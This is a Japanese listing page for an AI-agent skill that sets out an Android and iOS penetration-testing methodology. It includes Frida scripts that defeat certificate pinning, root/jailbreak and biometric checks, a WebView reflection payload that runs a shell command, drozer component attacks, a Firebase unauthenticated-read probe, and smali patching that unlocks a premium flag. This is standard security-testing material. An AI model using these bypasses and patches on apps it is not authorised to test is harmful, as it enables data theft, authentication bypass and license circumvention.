offensive-mobile について
AndroidとiOSのアプリを対象とするセキュリティテスト用スキルです。静的・動的解析、攻撃面の確認、ストレージとAPIの検査、一般的な検証回避テストを一連の手順にまとめています。
主な機能
- 01AndroidとiOSの静的解析
- 02Fridaを使った動的テスト
- 03公開コンポーネントとディープリンクの確認
- 04ストレージとKeychainの監査
- 05モバイルAPIのセキュリティテスト
- 06改変と認証の検査
活用シーン
- 01APKやIPAに含まれる秘密情報の確認
- 02アプリ通信と証明書ピンニングのテスト
- 03ディープリンクと公開コンポーネントの評価
- 04モバイルストレージとバックエンドAPIの監査
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ snailsploit/ claude-red --skill offensive-mobileインストール後、Claude Code で/offensive-mobileを入力して読み込まれたか確認します。
詳細
モバイル(Android + iOS)— 攻撃的テストの手法
クイックワークフロー
- 静的解析:IPA/APK を取得し、逆コンパイルして、リソース/文字列をダンプし、エンドポイントを特定します
- 動的解析:root 化/脱獄済みデバイスにインストールし、Frida でフックして、TLS 通信を傍受します
- 公開されている攻撃対象領域を把握します:ディープリンク、URL スキーム、公開コンポーネント
- ストレージ/キーストアを監査します:シークレットの保存場所と保護方法を確認します
- API:アプリが通信するすべてのバックエンドが対象範囲です。ウェブアプリと同様にテストします
ラボのセットアップ
Android
- root 化済みデバイス、または
userdebugビルドの Genymotion / Android Studio AVD - システムレス root 用の Magisk、フック用の LSPosed、デバイスのアーキテクチャに対応した Frida server
- Magisk モジュール(
MagiskTrustUserCerts)を使ってシステムが信頼する CA を設定した Burp / Mitmproxy
iOS
- 脱獄済みデバイス(iOS のバージョンに応じて palera1n / checkra1n / Dopamine)
- Frida + Objection + Filza + USB 経由の SSH(iproxy 2222 22)
- 「設定」→「一般」→「デバイス管理」→「証明書信頼設定」からインストールした Burp CA
静的解析
Android
# Decode resources + smali
apktool d app.apk -o app
# Decompile to Java
jadx -d app_src app.apk
# Manifest review
xmllint --format app/AndroidManifest.xml | less
# Look for: android:exported="true", intent-filters, custom permissions, debuggable, allowBackup, networkSecurityConfig
# Secrets and endpoints
grep -rE '(https?://[a-z0-9.-]+|api[_-]?key|secret|token|firebase|amazonaws|appspot)' app_src/
grep -r "Log\.[dwief]" app_src/ # leftover debug logs
# Native libs
file app/lib/*/*.so
# RE in Ghidra/IDA; look for JNI_OnLoad and exported Java_* functions
iOS
# Pull IPA from device
frida-ios-dump -o app.ipa "com.vendor.app"
# Or via App Store via 3rd-party tools (Apple Configurator with paid acct, etc.)
unzip app.ipa
# Decrypt if needed (jailbroken device): bagbak / clutch
bagbak com.vendor.app
# Class dump
class-dump-dyld -H Payload/App.app/App -o headers/
# Or for Swift symbols, use Hopper / IDA
# Strings / endpoints
strings -a Payload/App.app/App | grep -E '(https?://|key|secret|api)'
# Info.plist analysis
plutil -p Payload/App.app/Info.plist
# Look for: NSAppTransportSecurity exceptions, CFBundleURLTypes (URL schemes),
# associated-domains entitlements, UIFileSharingEnabled, ATS exemptions
動的解析と Frida
一般的なフック
// Bypass SSL pinning (Android — generic OkHttp/CertificatePinner/TrustManager)
Java.perform(() => {
const X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');
const TrustManagerFactory = Java.use('javax.net.ssl.TrustManagerFactory');
// ... full bypass scripts: codeshare.frida.re/@pcipolloni/universal-android-ssl-pinning-bypass-with-frida
});
// Bypass root detection
Java.perform(() => {
const File = Java.use('java.io.File');
File.exists.implementation = function () {
const path = this.getAbsolutePath();
if (path.includes('su') || path.includes('Magisk')) return false;
return this.exists();
};
});
// iOS — bypass jailbreak detection
const stat = Module.findExportByName(null, 'stat');
Interceptor.attach(stat, {
onEnter(args) {
const path = args[0].readUtf8String();
if (/Cydia|jailbreak|substrate|frida/i.test(path)) {
args[0] = Memory.allocUtf8String('/nonexistent');
}
}
});
Objection(Frida ベースのショートカット)
objection -g com.vendor.app explore
# Then inside:
android sslpinning disable
android root disable
android hooking list activities
android intent launch_activity com.vendor.app/.SecretActivity
ios sslpinning disable
ios jailbreak disable
ios keychain dump
SSL / TLS 傍受
Android Network Security Config
独自のピン留め CA を要求する <network-security-config> を備えたアプリの場合は、res/xml/network_security_config.xml を編集して再パッケージ化します:
apktool b app -o app-patched.apk
apksigner sign --ks debug.keystore app-patched.apk
または Frida で実行時にバイパスします(推奨 — 再コンパイル不要)。
iOS ATS / ピン留め
ピン留めを行っている場合は、SecTrustEvaluate* / NSURLSession のデリゲートメソッドに対して Frida フックを使用します。Info.plist の ATS 例外(NSAllowsArbitraryLoads)があれば、ピン留めがなくても MITM は容易です。
公開コンポーネント/IPC の攻撃対象領域
Android — 公開コンポーネント
drozer console connect
> run app.package.attacksurface com.vendor.app
> run app.activity.start --component com.vendor.app .ExportedActivity \
--extra string url 'javascript:alert(1)'
> run app.provider.query content://com.vendor.app.provider/secrets
対象:
exported="true"のアクティビティ → 別のアプリから呼び出して、認証を回避しますgrantUriPermissionsのない ContentProvider → 任意の読み取りが可能です- 特権アクションを伴う
BOOT_COMPLETEDなどを処理するレシーバー - インテントの extra によってバインドされるサービス → コマンドインジェクション
インテントのリダイレクト/PendingIntent の乗っ取り
// Vulnerable: PendingIntent with implicit Intent given to untrusted app
PendingIntent.getActivity(this, 0, new Intent(), FLAG_MUTABLE)
// Attacker fills the empty Intent → action runs with victim app's identity
iOS — URL スキーム/Universal Links
# Open custom scheme (test from another app)
plutil -p Payload/App.app/Info.plist | grep -A 5 CFBundleURLTypes
# Then on device:
xcrun simctl openurl booted "vendorapp://payment?to=ATTACKER&amount=9999"
Universal Links:リンク先ドメインの apple-app-site-association を確認します。そのドメインのオープンリダイレクト → universal-link claim → アプリ内 WebView のナビゲーションにつながる可能性があります。
iOS XPC / Mach Services
launchctl list | grep com.vendor で、アプリの launch サービスを列挙できます。適切な audit-token 検証を行わない XPC ハンドラーは、あらゆるプロセスからのメッセージを受け入れます。
安全でないデータ保存
Android
# On device (root), pull app data
adb shell "su -c 'tar -cz /data/data/com.vendor.app'" > app_data.tgz
確認する項目:
shared_prefs/*.xml— 平文で保存されている設定databases/*.db— SQLite(sqlite3でダンプ)files/— 任意の書き込みcache/と外部ストレージ(sdcard/Android/data/...)— アプリ間で読み取り可能なことがよくあります
Android Keystore の誤用
setUserAuthenticationRequired(true)を指定せずに作成されたキー → プロセスの実行中はいつでも使用できます- IV を再利用する AES-GCM(開発者が IV をハードコードしていることがよくあります)
- 適切なパディングを使用しない RSA(PKCS1 v1.5 と OAEP の違い)
iOS Keychain
# Objection
ios keychain dump
# Look for kSecAttrAccessible values:
# AlwaysThisDeviceOnly → readable when phone locked (bad for secrets)
# WhenUnlocked → standard
# AlwaysThisDeviceOnly → bypasses screen lock
iOS のデータ保護クラス:NSFileProtectionNone のファイルは、デバイスがロック中でも脱獄済みデバイス上で読み取り可能です。
WebView の脆弱性
Android addJavascriptInterface
アプリがリフレクションを実行できるオブジェクトを含む JS ブリッジを公開している場合、読み込まれたページ内の JS から任意の Java メソッドを呼び出せます。
// In a page loaded by the WebView
JSBridge.getClass().forName('java.lang.Runtime')
.getMethod('exec', String).invoke(JSBridge.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null), 'id')
file:// と Content://
setAllowFileAccessFromFileURLs(true) を設定した WebView と、ユーザーが開く HTML 添付ファイルの組み合わせ → アプリがアクセスできる任意のファイルを読み取れます。
iOS WKWebView
WKWebViewConfiguration.preferences.javaScriptCanOpenWindowsAutomaticallywkScriptMessageHandlerが公開されている — Android と同様に JS ブリッジに注意が必要ですloadFileURLと、広範なディレクトリを指定するallowingReadAccessToによるファイル URL の読み込み
生体認証/認証のバイパス
Android BiometricPrompt
暗号操作を認証に結び付けずに BiometricPrompt を使用しているアプリは、結果コールバックへのフックによってバイパスできます。
Java.perform(() => {
const Cb = Java.use('androidx.biometric.BiometricPrompt$AuthenticationCallback');
Cb.onAuthenticationSucceeded.implementation = function (r) {
return this.onAuthenticationSucceeded(r); // accept whatever
};
Cb.onAuthenticationFailed.implementation = function () { /* ignore */ };
});
iOS LAContext
evaluatePolicy(.deviceOwnerAuthenticationWithBiometrics) — アプリが生体認証に紐付けられたキーチェーン項目を使わずにブール値の結果を信頼している場合、これを偽装できます。
const LAContext = ObjC.classes.LAContext;
Interceptor.attach(LAContext['- evaluatePolicy:localizedReason:reply:'].implementation, {
onEnter(args) {
const cb = new ObjC.Block(args[4]);
const orig = cb.implementation;
cb.implementation = function(success, err) { orig.call(this, true, NULL); };
}
});
開発側での修正方法は、キーチェーンで生体認証に紐付けられたキーを使うことです。上記のバイパスではキーにアクセスできません。
Firebase/クラウドの設定ミス(最も発見率が高い)
Firebase Realtime DB(今もよく見られます)
アプリから URL を取得します:
strings app.apk | grep -E "https://[a-z0-9-]+\.firebaseio\.com"
# Test for unauth read
curl https://target-app.firebaseio.com/.json
# If returns data → unauth read
Firestore
ルールが allow read, write: if true; に誤設定されています。アプリの REST 呼び出しで確認できます。匿名 SDK または直接 REST でテストします。
S3/GCS/Azure Blob
API レスポンス内の署名なし URL、またはアプリのパッケージから推測可能なバケット名を確認し、パブリック読み取り、パブリック書き込み、ACL をテストします。
埋め込み API キー
Google Maps キーは適切に制限されていますか? Stripe の公開可能キーとシークレットキーは? Twilio は? AWS アクセスキーが平文で含まれているケース(今もあります)→ クラウドの乗っ取りにつながります。
truffleHog filesystem app_src/
gitleaks detect --source app_src/
モバイル API テスト
バックエンドは Web アプリと同じです。エンドポイントを抽出したら、Web/API の手法に切り替えます。モバイルに固有の点は次のとおりです。
- デバイスに紐付いたヘッダー(
X-Device-ID、X-App-Version、X-Signature)は、クライアント側で計算できることがよくあります。アルゴリズムをバイナリから取得します。 - リクエスト署名:アプリに埋め込まれたキーを使った HMAC → 何でも署名できてしまいます。
- "アプリ認証の背後にある"ためにレート制限を省略しているモバイル専用エンドポイント
- 古い API バージョンがまだ稼働しているケース:新しいアプリでは廃止された
/api/v1/...が、サーバーではより弱い認証のまま提供されています。 - プッシュ通知トピック:
/topics/<predictable>を購読すると、他のユーザー向けのメッセージを受信できる可能性があります(Firebase Messaging)。
アプリの改ざんと再パッケージ化
# Patch a check (e.g. premium=true)
# Smali edit
sed -i 's/return-void/const\/4 v0, 0x1\n return v0/' app/smali/com/vendor/Premium.smali
apktool b app -o patched.apk
apksigner sign --ks debug.keystore patched.apk
adb install -r patched.apk
商用アプリのバイパスには、元の APK を変更しないLSPosed モジュールを使用してください。再パッケージ化されたアプリを制限する署名チェックをバイパスできます。
iOS 固有の項目
Entitlements
codesign -d --entitlements - Payload/App.app/App
次を確認します:keychain-access-groups(アプリ間のキーチェーン共有)、com.apple.security.application-groups(共有コンテナ)、com.apple.developer.associated-domains(ユニバーサルリンク)、プライベート Entitlements(まれです)。
他のアプリからの URL スキーム
[[UIApplication sharedApplication] openURL:[NSURL URLWithString:@"vendorapp://..."]];
どのアプリからでも、登録済みの任意の URL スキームを呼び出せます。呼び出し元を検証していますか?ほとんどのアプリは検証していません。
App Groups の共有コンテナ
/private/var/mobile/Containers/Shared/AppGroup/<UUID>/
同じベンダーの複数のアプリで共有されます。ここにあるシークレットはアプリの境界を越えて共有されます。
検出/防御側の視点
| 検出方法 | バイパス |
|---|---|
| Frida サーバーの検出(ポート 27042 が開いている) | 別のポートで frida-server を実行するか、frida -H を使用 |
/sbin/magisk による Magisk の検出 | Magisk Hide/DenyList |
| エミュレーターの検出 | 実機で実行するか、Build.FINGERPRINT などをスタブ化 |
| iOS の脱獄検出(ファイルの存在確認) | Frida で stat/fopen/dlopen をフック |
アンチデバッグの ptrace(PT_DENY_ATTACH) | Frida-stalker ベースの手法、またはカーネルパッチ |
| 証明書ピンニング | Frida による汎用ピンニングバイパス |
| アプリのアテステーション(Play Integrity/DeviceCheck) | 難しいです。通常、サーバー側のバイパスかアプリのアテステーショントークンのリレーが必要です |
エンゲージメントのチェックリスト
[ ] Pull IPA/APK from device
[ ] Decompile / class-dump
[ ] Grep for endpoints, keys, tokens
[ ] Manifest / Info.plist review
[ ] Static-find exported components, deep links, URL schemes
[ ] Install on rooted/jailbroken; configure Frida
[ ] Bypass pinning, MITM all traffic
[ ] Test every API the app calls (web methodology)
[ ] Test exported components from another app / drozer / runtime
[ ] Inspect on-device storage (sharedprefs, sqlite, keychain)
[ ] Test biometric flows for unbound auth
[ ] Test deep links / URL schemes for auth bypass / open redirect / IDOR
[ ] Cloud config: Firebase rules, S3 buckets, signed URLs
[ ] Push topics / subscription model
[ ] Device-binding / signing scheme analysis
主要な参考資料
- OWASP MASTG(モバイルアプリケーションセキュリティテストガイド)
- OWASP MASVS — 検証標準
- Frida CodeShare — すぐに使えるフックを提供する codeshare.frida.re
- 自動トリアージ向けの mobile-security-framework/MobSF
- ソース:https://github.com/SnailSploit/offensive-checklist/blob/main/mobile.md